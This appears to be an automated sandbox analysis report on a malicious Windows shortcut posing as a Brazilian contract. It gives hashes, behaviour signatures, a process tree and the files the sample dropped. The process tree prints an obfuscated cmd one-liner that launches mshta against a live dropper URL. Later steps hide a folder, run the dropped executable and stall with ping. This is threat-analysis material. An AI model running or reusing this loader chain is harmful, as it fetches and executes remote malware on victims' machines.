Analysis

  • max time kernel
    11s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260710-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/08/2026, 12:43

General

  • Target
    Contrato_Indeniza_Brasil-QAJGEK.lnk
  • Size 1KB
  • Sample260803-pyel8shf79
  • SHA256 49048fb337c6bc1b62fe65ccd7a135960f4ed03b2857e2dffc3448bd0329f531
  • MD5 SHA1 SHA512 TLSH

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D

Signatures

  • Badlisted process makes network request 8 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Modifies Internet Explorer settings 1 TTPs 8 IoCs
  • Modifies registry class 16 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Script User-Agent 1 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\Contrato_Indeniza_Brasil-QAJGEK.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1756
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /v:on /c "set VlN=msh&&set eM=ta&&start "" !VlN!!eM! https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5776
      • C:\Windows\System32\mshta.exe
        mshta https://aglobaconvite.com/h/estagio1.php?r=271E62FD4093CD4D6D
        3⤵
        • Badlisted process makes network request
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of WriteProcessMemory
        PID:4216
        • C:\Windows\System32\rundll32.exe
          "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
          4⤵
          • Modifies Internet Explorer settings
          • Suspicious use of FindShellTrayWindow
          PID:2956
          • C:\Windows\system32\rundll32.exe
            C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
            5⤵
              PID:4960
          • C:\Windows\System32\rundll32.exe
            "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
            4⤵
            • Modifies Internet Explorer settings
            • Suspicious use of FindShellTrayWindow
            PID:4388
            • C:\Windows\system32\rundll32.exe
              C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
              5⤵
                PID:5936
            • C:\Windows\System32\rundll32.exe
              "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
              4⤵
              • Modifies Internet Explorer settings
              • Suspicious use of FindShellTrayWindow
              PID:3828
              • C:\Windows\system32\rundll32.exe
                C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                5⤵
                  PID:1156
              • C:\Windows\System32\rundll32.exe
                "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                4⤵
                • Modifies Internet Explorer settings
                • Suspicious use of FindShellTrayWindow
                • Suspicious use of WriteProcessMemory
                PID:4728
                • C:\Windows\system32\rundll32.exe
                  C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                  5⤵
                  • Modifies registry class
                  PID:1540
              • C:\Windows\System32\attrib.exe
                "C:\Windows\System32\attrib.exe" +h +s "C:\dqerlssh\"
                4⤵
                • Views/modifies file attributes
                PID:4964
              • C:\dqerlssh\dqerlssh.exe
                "C:\dqerlssh\dqerlssh.exe" C:\dqerlssh\dqerlssh
                4⤵
                  PID:4776
                • C:\Windows\System32\rundll32.exe
                  "C:\Windows\System32\rundll32.exe" InetCpl.cpl,ClearMyTracksByProcess 8
                  4⤵
                    PID:2964
                    • C:\Windows\system32\rundll32.exe
                      C:\Windows\system32\rundll32.exe C:\Windows\system32\inetcpl.cpl,ClearMyTracksByProcess Flags:8 WinX:0 WinY:0 IEFrame:0000000000000000
                      5⤵
                        PID:3264
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c ping -n 300 -w 1000 127.0.0.1 >nul
                      4⤵
                      • Executes a command shell one-liner
                      • System Network Configuration Discovery: Internet Connection Discovery
                      PID:3180
                      • C:\Windows\System32\PING.EXE
                        ping -n 300 -w 1000 127.0.0.1
                        5⤵
                        • System Network Configuration Discovery: Internet Connection Discovery
                        • Runs ping.exe
                        PID:5512

              Network

                    MITRE ATT&CK Enterprise v16

                    Replay Monitor

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                    Downloads

                    103621DE9CD5414CC2538780B4B75751

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751
                    • Size 808B
                    • SHA256 3dd5ea8a14eb665ba6057d424f94e5e83757ffaab456578dbf038af04053b19e
                    • MD5 SHA1 SHA512 TLSH

                    1B1495DD322A24490E2BF2FAABAE1C61

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1B1495DD322A24490E2BF2FAABAE1C61
                    • Size 355B
                    • SHA256 12fd0590708bb38d8039bc994178acee8a3d220f0cd194b0f1c2fc9ba622f927
                    • MD5 SHA1 SHA512 TLSH

                    22D536C4B4AD2CEF7AC6B7789FD235E3

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\22D536C4B4AD2CEF7AC6B7789FD235E3
                    • Size 283B
                    • SHA256 251ed08cc8f5873098ea5ee083034e7cd99ece955920e12a42e50306a94cb6eb
                    • MD5 SHA1 SHA512 TLSH

                    9DD9D8EB1173CB9DA0F6DAA87673F76F

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\9DD9D8EB1173CB9DA0F6DAA87673F76F
                    • Size 35KB
                    • SHA256 7a428311e98280aff08b814fe3c5549da2fa2cfdb1bd0e27096068db79211ac8
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    103621DE9CD5414CC2538780B4B75751

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751
                    • Size 192B
                    • SHA256 8ac6f6529eaa41f15e45e022776e914a7208efd355ccd5260e2f1ddc2a1dd12c
                    • MD5 SHA1 SHA512 TLSH

                    1B1495DD322A24490E2BF2FAABAE1C61

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1B1495DD322A24490E2BF2FAABAE1C61
                    • Size 192B
                    • SHA256 fb4bf9f7cdeb326be6f42cb317e28784ea03b28fd3c38608512678904852d02e
                    • MD5 SHA1 SHA512 TLSH

                    22D536C4B4AD2CEF7AC6B7789FD235E3

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\22D536C4B4AD2CEF7AC6B7789FD235E3
                    • Size 192B
                    • SHA256 9dd0feda9c3dd6b5be17c13b02033b083f035326f26a8e179be4035fc87ae9a0
                    • MD5 SHA1 SHA512 TLSH

                    9DD9D8EB1173CB9DA0F6DAA87673F76F

                    • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\9DD9D8EB1173CB9DA0F6DAA87673F76F
                    • Size 246B
                    • SHA256 c049b954dcc85a01c630f11cd501019012f2162928e22f5ac201482176d20225
                    • MD5 SHA1 SHA512 TLSH

                    a1.zip

                    • Path C:\dqerlssh\a1.zip
                    • Size 494KB
                    • SHA256 c3395adbb3129c4b1c5f27fba4182e1da9e9a861ccc5d02c2738b07dbbccf066
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    a2.zip

                    • Path C:\dqerlssh\a2.zip
                    • Size 1.3MB
                    • SHA256 cc55bf426c0e55c6a85c6fd1476d4f8204f65a5cc1c1bf3fda81e3bd36cbe2ea
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    a3.zip

                    • Path C:\dqerlssh\a3.zip
                    • Size 2KB
                    • SHA256 715ad53cb28695539cc554d1daaa739270d272afcca88bb58f499e03184e78b4
                    • MD5 SHA1 SHA512 TLSH

                    dqerlssh

                    • Path C:\dqerlssh\dqerlssh
                    • Size 1.3MB
                    • SHA256 30af0a4b9b7c7d8cf41c169be3d51c03d9dabd0c18ed699b31850b618b5db55e
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    dqerlssh.exe

                    • Path C:\dqerlssh\dqerlssh.exe
                    • Size 957KB
                    • SHA256 bdd2b7236a110b04c288380ad56e8d7909411da93eed2921301206de0cb0dda1
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    memory/4216-131-0x000001C7021C0000-0x000001C7023ED000-memory.dmp

                    memory/4216-116-0x000001C7021C0000-0x000001C7023ED000-memory.dmp

                    memory/4216-114-0x000001C7021C0000-0x000001C7023ED000-memory.dmp

                    memory/4216-44-0x000001C7021C0000-0x000001C7023ED000-memory.dmp

                    memory/4776-123-0x0000000006920000-0x0000000006AE7000-memory.dmp